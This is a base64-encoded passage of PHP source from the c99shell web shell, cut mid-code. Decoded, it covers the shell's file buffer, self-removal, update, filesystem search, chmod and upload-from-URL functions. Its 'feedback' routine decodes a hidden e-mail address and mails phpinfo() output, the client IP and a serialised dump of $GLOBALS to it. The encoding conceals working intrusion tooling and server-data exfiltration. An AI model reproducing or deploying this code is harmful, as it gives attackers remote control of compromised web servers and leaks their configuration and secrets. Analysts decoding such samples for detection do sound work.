CiAgICAgICAgaWYgKGNvdW50KCRhcnIpID09IDApDQogICAgICAgIHsNCiAgICAgICAgICAgIGVj
aG8gIjxjZW50ZXI+PGI+QnVmZmVyIGlzIGVtcHR5ITwvYj48L2NlbnRlcj4iOw0KICAgICAgICB9
DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgZWNobyAiPGI+RmlsZS1TeXN0
ZW0gYnVmZmVyPC9iPjxicj48YnI+IjsNCiAgICAgICAgICAgICRsc19hcnIgPSAkYXJyOw0KICAg
ICAgICAgICAgJGRpc3BfZnVsbHBhdGggPSB0cnVlOw0KICAgICAgICAgICAgJGFjdCA9ICJscyI7
DQogICAgICAgIH0NCiAgICB9DQogICAgaWYgKCRhY3QgPT0gInNlbGZyZW1vdmUiKQ0KICAgIHsN
CiAgICAgICAgaWYgKCgkc3VibWl0ID09ICRybmRjb2RlKSBhbmQgKCRzdWJtaXQgIT0gIiIpKQ0K
ICAgICAgICB7DQogICAgICAgICAgICBpZiAodW5saW5rKF9fRklMRV9fKSkNCiAgICAgICAgICAg
IHsNCiAgICAgICAgICAgICAgICBAb2JfY2xlYW4oKTsNCiAgICAgICAgICAgICAgICBlY2hvICJU
aGFua3MgZm9yIHVzaW5nIGM5OXNoZWxsIHYuIiAuICRzaHZlciAuICIhIjsNCiAgICAgICAgICAg
ICAgICBjOTlzaGV4aXQoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAg
ICAgICAgIHsNCiAgICAgICAgICAgICAgICBlY2hvICI8Y2VudGVyPjxiPkNhbid0IGRlbGV0ZSAi
IC4gX19GSUxFX18gLiAiITwvYj48L2NlbnRlcj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9
DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkcm5kY29k
ZSkpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAiPGI+RXJyb3I6IGluY29y
cmVjdCBjb25maW1hdGlvbiE8L2I+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRybmQg
PSByYW5kKDAsIDkpIC4gcmFuZCgwLCA5KSAuIHJhbmQoMCwgOSk7DQogICAgICAgICAgICBlY2hv
ICI8Zm9ybSBhY3Rpb249XCIiIC4gJHN1cmwgLiAiXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9
YWN0IHZhbHVlPXNlbGZyZW1vdmU+PGI+U2VsZi1yZW1vdmU6ICIgLiBfX0ZJTEVfXyAuICIgPGJy
PjxiPkFyZSB5b3Ugc3VyZT88YnI+Rm9yIGNvbmZpcm1hdGlvbiwgZW50ZXIgXCIiIC4gJHJuZCAu
ICJcIjwvYj46Jm5ic3A7PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cm5kY29kZSB2YWx1ZT1cIiIg
LiAkcm5kIC4gIlwiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zdWJtaXQ+Jm5ic3A7PGlucHV0IHR5
cGU9c3VibWl0IHZhbHVlPVwiWUVTXCI+PC9mb3JtPiI7DQogICAgICAgIH0NCiAgICB9DQogICAg
aWYgKCRhY3QgPT0gInVwZGF0ZSIpDQogICAgew0KICAgICAgICAkcmV0ID0gYzk5c2hfZ2V0dXBk
YXRlKCEhJGNvbmZpcm11cGRhdGUpOw0KICAgICAgICBlY2hvICI8Yj4iIC4gJHJldCAuICI8L2I+
IjsNCiAgICAgICAgaWYgKHN0cmlzdHIoJHJldCwgIm5ldyB2ZXJzaW9uIikpDQogICAgICAgIHsN
CiAgICAgICAgICAgIGVjaG8gIjxicj48YnI+PGlucHV0IHR5cGU9YnV0dG9uIG9uY2xpY2s9XCJs
b2NhdGlvbi5ocmVmPSciIC4gJHN1cmwgLiAiYWN0PXVwZGF0ZSZjb25maXJtdXBkYXRlPTEnO1wi
IHZhbHVlPVwiVXBkYXRlIG5vd1wiPiI7DQogICAgICAgIH0NCiAgICB9DQogICAgaWYgKCRhY3Qg
PT0gImZlZWRiYWNrIikNCiAgICB7DQogICAgICAgICRzdXBwbWFpbCA9IGJhc2U2NF9kZWNvZGUo
ImMyVmpkWEpsYUdGemFIQm9hV3hwY0hCcGJtVnpRR2R0WVdsc0xtTnZiUT09Iik7DQogICAgICAg
IGlmICghZW1wdHkoJHN1Ym1pdCkpDQogICAgICAgIHsNCiAgICAgICAgICAgICR0aWNrZXQgPSBz
dWJzdHIobWQ1KG1pY3JvdGltZSgpICsgcmFuZCgxLCAxMDAwKSkgLCAwLCA2KTsNCiAgICAgICAg
ICAgICRib2R5ID0gImM5OXNoZWxsIHYuIiAuICRzaHZlciAuICIgZmVlZGJhY2sgIyIgLiAkdGlj
a2V0IC4gIlxuTmFtZTogIiAuIGh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfbmFtZSkgLiAiXG5FLW1h
aWw6ICIgLiBodG1sc3BlY2lhbGNoYXJzKCRmZGJrX2VtYWlsKSAuICJcbk1lc3NhZ2U6XG4iIC4g
aHRtbHNwZWNpYWxjaGFycygkZmRia19ib2R5KSAuICJcblxuSVA6ICIgLiAkUkVNT1RFX0FERFI7
DQogICAgICAgICAgICBpZiAoIWVtcHR5KCRmZGJrX3JlZikpDQogICAgICAgICAgICB7DQogICAg
ICAgICAgICAgICAgJHRtcCA9IEBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgICAgICAgICAgICBv
Yl9jbGVhbigpOw0KICAgICAgICAgICAgICAgIHBocGluZm8oKTsNCiAgICAgICAgICAgICAgICAk
cGhwaW5mbyA9IGJhc2U2NF9lbmNvZGUob2JfZ2V0X2NvbnRlbnRzKCkpOw0KICAgICAgICAgICAg
ICAgIG9iX2NsZWFuKCk7DQogICAgICAgICAgICAgICAgZWNobyAkdG1wOw0KICAgICAgICAgICAg
ICAgICRib2R5IC49ICJcbiIgLiAicGhwaW5mbygpOiAiIC4gJHBocGluZm8gLiAiXG4iIC4gIlwk
R0xPQkFMUz0iIC4gYmFzZTY0X2VuY29kZShzZXJpYWxpemUoJEdMT0JBTFMpKSAuICJcbiI7DQog
ICAgICAgICAgICB9DQogICAgICAgICAgICBtYWlsKCRzdXBwbWFpbCwgImM5OXNoZWxsIHYuIiAu
ICRzaHZlciAuICIgZmVlZGJhY2sgIyIgLiAkdGlja2V0LCAkYm9keSwgIkZST006ICIgLiAkc3Vw
cG1haWwpOw0KICAgICAgICAgICAgZWNobyAiPGNlbnRlcj48Yj5UaGFua3MgZm9yIHlvdXIgZmVl
ZGJhY2shIFlvdXIgdGlja2V0IElEOiAiIC4gJHRpY2tldCAuICIuPC9iPjwvY2VudGVyPiI7DQog
ICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICBlY2hvICI8Zm9y
bSBhY3Rpb249XCIiIC4gJHN1cmwgLiAiXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVu
IG5hbWU9YWN0IHZhbHVlPWZlZWRiYWNrPjxiPkZlZWRiYWNrIG9yIHJlcG9ydCBidWcgKCIgLiBz
dHJfcmVwbGFjZShhcnJheSgNCiAgICAgICAgICAgICAgICAiQCIsDQogICAgICAgICAgICAgICAg
Ii4iDQogICAgICAgICAgICApICwgYXJyYXkoDQogICAgICAgICAgICAgICAgIlthdF0iLA0KICAg
ICAgICAgICAgICAgICJbZG90XSINCiAgICAgICAgICAgICkgLCAkc3VwcG1haWwpIC4gIik6PGJy
Pjxicj5Zb3VyIG5hbWU6IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmZGJrX25hbWVcIiB2
YWx1ZT1cIiIgLiBodG1sc3BlY2lhbGNoYXJzKCRmZGJrX25hbWUpIC4gIlwiPjxicj48YnI+WW91
ciBlLW1haWw6IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmZGJrX2VtYWlsXCIgdmFsdWU9
XCIiIC4gaHRtbHNwZWNpYWxjaGFycygkZmRia19lbWFpbCkgLiAiXCI+PGJyPjxicj5NZXNzYWdl
Ojxicj48dGV4dGFyZWEgbmFtZT1cImZkYmtfYm9keVwiIGNvbHM9ODAgcm93cz0xMD4iIC4gaHRt
bHNwZWNpYWxjaGFycygkZmRia19ib2R5KSAuICI8L3RleHRhcmVhPjxpbnB1dCB0eXBlPVwiaGlk
ZGVuXCIgbmFtZT1cImZkYmtfcmVmXCIgdmFsdWU9XCIiIC4gdXJsZW5jb2RlKCRIVFRQX1JFRkVS
RVIpIC4gIlwiPjxicj48YnI+QXR0YWNoIHNlcnZlci1pbmZvICogPGlucHV0IHR5cGU9XCJjaGVj
a2JveFwiIG5hbWU9XCJmZGJrX3NlcnZpbmZcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxicj48YnI+
VGhlcmUgYXJlIG5vIGNoZWNraW5nIGluIHRoZSBmb3JtLjxicj48YnI+KiAtIHN0cm9uZ2x5IHJl
Y29tbWVuZGVkLCBpZiB5b3UgcmVwb3J0IGJ1ZywgYmVjYXVzZSB3ZSBuZWVkIGl0IGZvciBidWct
Zml4Ljxicj48YnI+V2UgdW5kZXJzdGFuZCBsYW5ndWFnZXM6IEVuZ2xpc2gsIFJ1c3NpYW4uPGJy
Pjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIlNlbmRc
Ij48L2Zvcm0+IjsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoJGFjdCA9PSAic2VhcmNoIikN
CiAgICB7DQogICAgICAgIGVjaG8gIjxiPlNlYXJjaCBpbiBmaWxlLXN5c3RlbTo8L2I+PGJyPiI7
DQogICAgICAgIGlmIChlbXB0eSgkc2VhcmNoX2luKSkNCiAgICAgICAgew0KICAgICAgICAgICAg
JHNlYXJjaF9pbiA9ICRkOw0KICAgICAgICB9DQogICAgICAgIGlmIChlbXB0eSgkc2VhcmNoX25h
bWUpKQ0KICAgICAgICB7DQogICAgICAgICAgICAkc2VhcmNoX25hbWUgPSAiKC4qKSI7DQogICAg
ICAgICAgICAkc2VhcmNoX25hbWVfcmVnZXhwID0gMTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAo
ZW1wdHkoJHNlYXJjaF90ZXh0X3d3bykpDQogICAgICAgIHsNCiAgICAgICAgICAgICRzZWFyY2hf
dGV4dF9yZWdleHAgPSAwOw0KICAgICAgICB9DQogICAgICAgIGlmICghZW1wdHkoJHN1Ym1pdCkp
DQogICAgICAgIHsNCiAgICAgICAgICAgICRmb3VuZCA9IGFycmF5KCk7DQogICAgICAgICAgICAk
Zm91bmRfZCA9IDA7DQogICAgICAgICAgICAkZm91bmRfZiA9IDA7DQogICAgICAgICAgICAkc2Vh
cmNoX2lfZiA9IDA7DQogICAgICAgICAgICAkc2VhcmNoX2lfZCA9IDA7DQogICAgICAgICAgICAk
YSA9IGFycmF5KA0KICAgICAgICAgICAgICAgICJuYW1lIiA9PiAkc2VhcmNoX25hbWUsDQogICAg
ICAgICAgICAgICAgIm5hbWVfcmVnZXhwIiA9PiAkc2VhcmNoX25hbWVfcmVnZXhwLA0KICAgICAg
ICAgICAgICAgICJ0ZXh0IiA9PiAkc2VhcmNoX3RleHQsDQogICAgICAgICAgICAgICAgInRleHRf
cmVnZXhwIiA9PiAkc2VhcmNoX3RleHRfcmVneHAsDQogICAgICAgICAgICAgICAgInRleHRfd3dv
IiA9PiAkc2VhcmNoX3RleHRfd3dvLA0KICAgICAgICAgICAgICAgICJ0ZXh0X2NzIiA9PiAkc2Vh
cmNoX3RleHRfY3MsDQogICAgICAgICAgICAgICAgInRleHRfbm90IiA9PiAkc2VhcmNoX3RleHRf
bm90DQogICAgICAgICAgICApOw0KICAgICAgICAgICAgJHNlYXJjaHRpbWUgPSBnZXRtaWNyb3Rp
bWUoKTsNCiAgICAgICAgICAgICRpbiA9IGFycmF5X3VuaXF1ZShleHBsb2RlKCI7IiwgJHNlYXJj
aF9pbikpOw0KICAgICAgICAgICAgZm9yZWFjaCAoJGluIGFzICR2KQ0KICAgICAgICAgICAgew0K
ICAgICAgICAgICAgICAgIGM5OWZzZWFyY2goJHYpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAg
ICAgJHNlYXJjaHRpbWUgPSByb3VuZChnZXRtaWNyb3RpbWUoKSAtICRzZWFyY2h0aW1lLCA0KTsN
CiAgICAgICAgICAgIGlmIChjb3VudCgkZm91bmQpID09IDApDQogICAgICAgICAgICB7DQogICAg
ICAgICAgICAgICAgZWNobyAiPGI+Tm8gZmlsZXMgZm91bmQhPC9iPiI7DQogICAgICAgICAgICB9
DQogICAgICAgICAgICBlbHNlDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGxzX2Fy
ciA9ICRmb3VuZDsNCiAgICAgICAgICAgICAgICAkZGlzcF9mdWxscGF0aCA9IHRydWU7DQogICAg
ICAgICAgICAgICAgJGFjdCA9ICJscyI7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAg
ICAgZWNobyAiPGZvcm0gbWV0aG9kPVBPU1Q+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cImRc
IiB2YWx1ZT1cIiIgLiAkZGlzcGQgLiAiXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZh
bHVlPVwiIiAuICRkc3BhY3QgLiAiXCI+DQo8Yj5TZWFyY2ggZm9yIChmaWxlL2ZvbGRlciBuYW1l
KTogPC9iPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzZWFyY2hfbmFtZVwiIHNpemU9XCIi
IC4gcm91bmQoc3RybGVuKCRzZWFyY2hfbmFtZSkgKyAyNSkgLiAiXCIgdmFsdWU9XCIiIC4gaHRt
bHNwZWNpYWxjaGFycygkc2VhcmNoX25hbWUpIC4gIlwiPiZuYnNwOzxpbnB1dCB0eXBlPVwiY2hl
Y2tib3hcIiBuYW1lPVwic2VhcmNoX25hbWVfcmVnZXhwXCIgdmFsdWU9XCIxXCIgIiAuICgkc2Vh
cmNoX25hbWVfcmVnZXhwID09IDEgPyAiIGNoZWNrZWQiIDogIiIpIC4gIj4gLSByZWdleHANCjxi
cj48Yj5TZWFyY2ggaW4gKGV4cGxvZGUgXCI7XCIpOiA8L2I+PGlucHV0IHR5cGU9XCJ0ZXh0XCIg
bmFtZT1cInNlYXJjaF9pblwiIHNpemU9XCIiIC4gcm91bmQoc3RybGVuKCRzZWFyY2hfaW4pICsg
MjUpIC4gIlwiIHZhbHVlPVwiIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNlYXJjaF9pbikgLiAiXCI+
DQo8YnI+PGJyPjxiPlRleHQ6PC9iPjxicj48dGV4dGFyZWEgbmFtZT1cInNlYXJjaF90ZXh0XCIg
Y29scz1cIjEyMlwiIHJvd3M9XCIxMFwiPiIgLiBodG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfdGV4
dCkgLiAiPC90ZXh0YXJlYT4NCjxicj48YnI+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9
XCJzZWFyY2hfdGV4dF9yZWdleHBcIiB2YWx1ZT1cIjFcIiAiIC4gKCRzZWFyY2hfdGV4dF9yZWdl
eHAgPT0gMSA/ICIgY2hlY2tlZCIgOiAiIikgLiAiPiAtIHJlZ2V4cA0KJm5ic3A7Jm5ic3A7PGlu
cHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF93d29cIiB2YWx1ZT1cIjFc
IiAiIC4gKCRzZWFyY2hfdGV4dF93d28gPT0gMSA/ICIgY2hlY2tlZCIgOiAiIikgLiAiPiAtIDx1
Pnc8L3U+aG9sZSB3b3JkcyBvbmx5DQombmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94
XCIgbmFtZT1cInNlYXJjaF90ZXh0X2NzXCIgdmFsdWU9XCIxXCIgIiAuICgkc2VhcmNoX3RleHRf
Y3MgPT0gMSA/ICIgY2hlY2tlZCIgOiAiIikgLiAiPiAtIGNhczx1PmU8L3U+IHNlbnNpdGl2ZQ0K
Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF9u
b3RcIiB2YWx1ZT1cIjFcIiAiIC4gKCRzZWFyY2hfdGV4dF9ub3QgPT0gMSA/ICIgY2hlY2tlZCIg
OiAiIikgLiAiPiAtIGZpbmQgZmlsZXMgPHU+Tk9UPC91PiBjb250YWluaW5nIHRoZSB0ZXh0DQo8
YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIlNlYXJjaFwiPjwv
Zm9ybT4iOw0KICAgICAgICBpZiAoJGFjdCA9PSAibHMiKQ0KICAgICAgICB7DQogICAgICAgICAg
ICAkZHNwYWN0ID0gJGFjdDsNCiAgICAgICAgICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hh
ZGU+PGI+U2VhcmNoIHRvb2sgIiAuICRzZWFyY2h0aW1lIC4gIiBzZWNzICgiIC4gJHNlYXJjaF9p
X2YgLiAiIGZpbGVzIGFuZCAiIC4gJHNlYXJjaF9pX2QgLiAiIGZvbGRlcnMsICIgLiByb3VuZCgo
JHNlYXJjaF9pX2YgKyAkc2VhcmNoX2lfZCkgLyAkc2VhcmNodGltZSwgNCkgLiAiIG9iamVjdHMg
cGVyIHNlY29uZCkuPC9iPjxicj48YnI+IjsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoJGFj
dCA9PSAiY2htb2QiKQ0KICAgIHsNCiAgICAgICAgJG1vZGUgPSBmaWxlcGVybXMoJGQgLiAkZik7
DQogICAgICAgIGlmICghJG1vZGUpDQogICAgICAgIHsNCiAgICAgICAgICAgIGVjaG8gIjxiPkNo
YW5nZSBmaWxlLW1vZGUgd2l0aCBlcnJvcjo8L2I+IGNhbid0IGdldCBjdXJyZW50IHZhbHVlLiI7
DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICAkZm9ybSA9
IHRydWU7DQogICAgICAgICAgICBpZiAoJGNobW9kX3N1Ym1pdCkNCiAgICAgICAgICAgIHsNCiAg
ICAgICAgICAgICAgICAkb2N0ZXQgPSAiMCIgLiBiYXNlX2NvbnZlcnQoKCRjaG1vZF9vWyJyIl0g
PyAxIDogMCkgLiAoJGNobW9kX29bInciXSA/IDEgOiAwKSAuICgkY2htb2Rfb1sieCJdID8gMSA6
IDApIC4gKCRjaG1vZF9nWyJyIl0gPyAxIDogMCkgLiAoJGNobW9kX2dbInciXSA/IDEgOiAwKSAu
ICgkY2htb2RfZ1sieCJdID8gMSA6IDApIC4gKCRjaG1vZF93WyJyIl0gPyAxIDogMCkgLiAoJGNo
bW9kX3dbInciXSA/IDEgOiAwKSAuICgkY2htb2Rfd1sieCJdID8gMSA6IDApICwgMiwgOCk7DQog
ICAgICAgICAgICAgICAgaWYgKGNobW9kKCRkIC4gJGYsICRvY3RldCkpDQogICAgICAgICAgICAg
ICAgew0KICAgICAgICAgICAgICAgICAgICAkYWN0ID0gImxzIjsNCiAgICAgICAgICAgICAgICAg
ICAgJGZvcm0gPSBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgJGVyciA9ICIiOw0KICAgICAg
ICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgew0KICAg
ICAgICAgICAgICAgICAgICAkZXJyID0gIkNhbid0IGNobW9kIHRvICIgLiAkb2N0ZXQgLiAiLiI7
DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKCRmb3Jt
KQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRwZXJtcyA9IHBhcnNlX3Blcm1zKCRt
b2RlKTsNCiAgICAgICAgICAgICAgICBlY2hvICI8Yj5DaGFuZ2luZyBmaWxlLW1vZGUgKCIgLiAk
ZCAuICRmIC4gIiksICIgLiB2aWV3X3Blcm1zX2NvbG9yKCRkIC4gJGYpIC4gIiAoIiAuIHN1YnN0
cihkZWNvY3QoZmlsZXBlcm1zKCRkIC4gJGYpKSAsIC00LCA0KSAuICIpPC9iPjxicj4iIC4gKCRl
cnIgPyAiPGI+RXJyb3I6PC9iPiAiIC4gJGVyciA6ICIiKSAuICI8Zm9ybSBhY3Rpb249XCIiIC4g
JHN1cmwgLiAiXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT1c
IiIgLiBodG1sc3BlY2lhbGNoYXJzKCRkKSAuICJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1m
IHZhbHVlPVwiIiAuIGh0bWxzcGVjaWFsY2hhcnMoJGYpIC4gIlwiPjxpbnB1dCB0eXBlPWhpZGRl
biBuYW1lPWFjdCB2YWx1ZT1jaG1vZD48dGFibGUgYWxpZ249bGVmdCB3aWR0aD0zMDAgYm9yZGVy
PTAgY2VsbHNwYWNpbmc9MCBjZWxscGFkZGluZz01Pjx0cj48dGQ+PGI+T3duZXI8L2I+PGJyPjxi
cj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX29bcl0gdmFsdWU9MSIgLiAoJHBlcm1z
WyJvIl1bInIiXSA/ICIgY2hlY2tlZCIgOiAiIikgLiAiPiZuYnNwO1JlYWQ8YnI+PGlucHV0IHR5
cGU9Y2hlY2tib3ggbmFtZT1jaG1vZF9vW3ddIHZhbHVlPTEiIC4gKCRwZXJtc1sibyJdWyJ3Il0g
PyAiIGNoZWNrZWQiIDogIiIpIC4gIj4mbmJzcDtXcml0ZTxicj48aW5wdXQgdHlwZT1jaGVja2Jv
eCBOQU1FPWNobW9kX29beF0gdmFsdWU9MSIgLiAoJHBlcm1zWyJvIl1bIngiXSA/ICIgY2hlY2tl
ZCIgOiAiIikgLiAiPmVYZWN1dGU8L3RkPjx0ZD48Yj5Hcm91cDwvYj48YnI+PGJyPjxpbnB1dCB0
eXBlPWNoZWNrYm94IE5BTUU9Y2htb2RfZ1tyXSB2YWx1ZT0xIiAuICgkcGVybXNbImciXVsiciJd
ID8gIiBjaGVja2VkIiA6ICIiKSAuICI+Jm5ic3A7UmVhZDxicj48aW5wdXQgdHlwZT1jaGVja2Jv
eCBOQU1FPWNobW9kX2dbd10gdmFsdWU9MSIgLiAoJHBlcm1zWyJnIl1bInciXSA/ICIgY2hlY2tl
ZCIgOiAiIikgLiAiPiZuYnNwO1dyaXRlPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2ht
b2RfZ1t4XSB2YWx1ZT0xIiAuICgkcGVybXNbImciXVsieCJdID8gIiBjaGVja2VkIiA6ICIiKSAu
ICI+ZVhlY3V0ZTwvZm9udD48L3RkPjx0ZD48Yj5Xb3JsZDwvYj48YnI+PGJyPjxpbnB1dCB0eXBl
PWNoZWNrYm94IE5BTUU9Y2htb2Rfd1tyXSB2YWx1ZT0xIiAuICgkcGVybXNbInciXVsiciJdID8g
IiBjaGVja2VkIiA6ICIiKSAuICI+Jm5ic3A7UmVhZDxicj48aW5wdXQgdHlwZT1jaGVja2JveCBO
QU1FPWNobW9kX3dbd10gdmFsdWU9MSIgLiAoJHBlcm1zWyJ3Il1bInciXSA/ICIgY2hlY2tlZCIg
OiAiIikgLiAiPiZuYnNwO1dyaXRlPGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rf
d1t4XSB2YWx1ZT0xIiAuICgkcGVybXNbInciXVsieCJdID8gIiBjaGVja2VkIiA6ICIiKSAuICI+
ZVhlY3V0ZTwvZm9udD48L3RkPjwvdHI+PHRyPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1j
aG1vZF9zdWJtaXQgdmFsdWU9XCJTYXZlXCI+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPiI7DQog
ICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgaWYgKCRhY3QgPT0gInVwbG9hZCIp
DQogICAgew0KICAgICAgICAkdXBsb2FkbWVzcyA9ICIiOw0KICAgICAgICAkdXBsb2FkcGF0aCA9
IHN0cl9yZXBsYWNlKCJcXCIsIERJUkVDVE9SWV9TRVBBUkFUT1IsICR1cGxvYWRwYXRoKTsNCiAg
ICAgICAgaWYgKGVtcHR5KCR1cGxvYWRwYXRoKSkNCiAgICAgICAgew0KICAgICAgICAgICAgJHVw
bG9hZHBhdGggPSAkZDsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYgKHN1YnN0cigkdXBsb2Fk
cGF0aCwgLTEpICE9ICIvIikNCiAgICAgICAgew0KICAgICAgICAgICAgJHVwbG9hZHBhdGggLj0g
Ii8iOw0KICAgICAgICB9DQogICAgICAgIGlmICghZW1wdHkoJHN1Ym1pdCkpDQogICAgICAgIHsN
CiAgICAgICAgICAgIGdsb2JhbCAkSFRUUF9QT1NUX0ZJTEVTOw0KICAgICAgICAgICAgJHVwbG9h
ZGZpbGUgPSAkSFRUUF9QT1NUX0ZJTEVTWyJ1cGxvYWRmaWxlIl07DQogICAgICAgICAgICBpZiAo
IWVtcHR5KCR1cGxvYWRmaWxlWyJ0bXBfbmFtZSJdKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAg
ICAgICAgICBpZiAoZW1wdHkoJHVwbG9hZGZpbGVuYW1lKSkNCiAgICAgICAgICAgICAgICB7DQog
ICAgICAgICAgICAgICAgICAgICRkZXN0aW4gPSAkdXBsb2FkZmlsZVsibmFtZSJdOw0KICAgICAg
ICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgew0KICAg
ICAgICAgICAgICAgICAgICAkZGVzdGluID0gJHVzZXJmaWxlbmFtZTsNCiAgICAgICAgICAgICAg
ICB9DQogICAgICAgICAgICAgICAgaWYgKCFtb3ZlX3VwbG9hZGVkX2ZpbGUoJHVwbG9hZGZpbGVb
InRtcF9uYW1lIl0sICR1cGxvYWRwYXRoIC4gJGRlc3RpbikpDQogICAgICAgICAgICAgICAgew0K
ICAgICAgICAgICAgICAgICAgICAkdXBsb2FkbWVzcyAuPSAiRXJyb3IgdXBsb2FkaW5nIGZpbGUg
IiAuICR1cGxvYWRmaWxlWyJuYW1lIl0gLiAiIChjYW4ndCBjb3B5IFwiIiAuICR1cGxvYWRmaWxl
WyJ0bXBfbmFtZSJdIC4gIlwiIHRvIFwiIiAuICR1cGxvYWRwYXRoIC4gJGRlc3RpbiAuICJcIiE8
YnI+IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNl
aWYgKCFlbXB0eSgkdXBsb2FkdXJsKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBp
ZiAoIWVtcHR5KCR1cGxvYWRmaWxlbmFtZSkpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAg
ICAgICAgICAgICAkZGVzdGluID0gJHVwbG9hZGZpbGVuYW1lOw0KICAgICAgICAgICAgICAgIH0N
CiAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICAgICAkZGVzdGluID0gZXhwbG9kZSgiLyIsICRkZXN0aW4pOw0KICAgICAgICAgICAgICAgICAg
ICAkZGVzdGluID0gJGRlc3Rpbltjb3VudCgkZGVzdGluKSAtIDFdOw0KICAgICAgICAgICAgICAg
ICAgICBpZiAoZW1wdHkoJGRlc3RpbikpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAg
ICAgICAgICAgICAgICAgICRpID0gMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICRiID0gIiI7
DQogICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoZmlsZV9leGlzdHMoJHVwbG9hZHBhdGgg
LiAkZGVzdGluKSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICBpZiAoJGkgPiAwKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGIgPSAiXyIgLiAkaTsNCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRlc3RpbiA9
ICJpbmRleCIgLiAkYiAuICIuaHRtbCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGkr
KzsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAg
ICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoKCFwcmVnX21hdGNoKCJodHRwOi8v
IiwgJHVwbG9hZHVybCkpIGFuZCAoIXByZWdfbWF0Y2goImh0dHBzOi8vIiwgJHVwbG9hZHVybCkp
IGFuZCAoIXByZWdfbWF0Y2goImZ0cDovLyIsICR1cGxvYWR1cmwpKSkNCiAgICAgICAgICAgICAg
ICB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxiPkluY29yZWN0IHVybCE8L2I+PGJyPiI7
DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAg
ICB7DQogICAgICAgICAgICAgICAgICAgICRzdCA9IGdldG1pY3JvdGltZSgpOw0KICAgICAgICAg
ICAgICAgICAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkdXBsb2FkdXJsKTsNCiAg
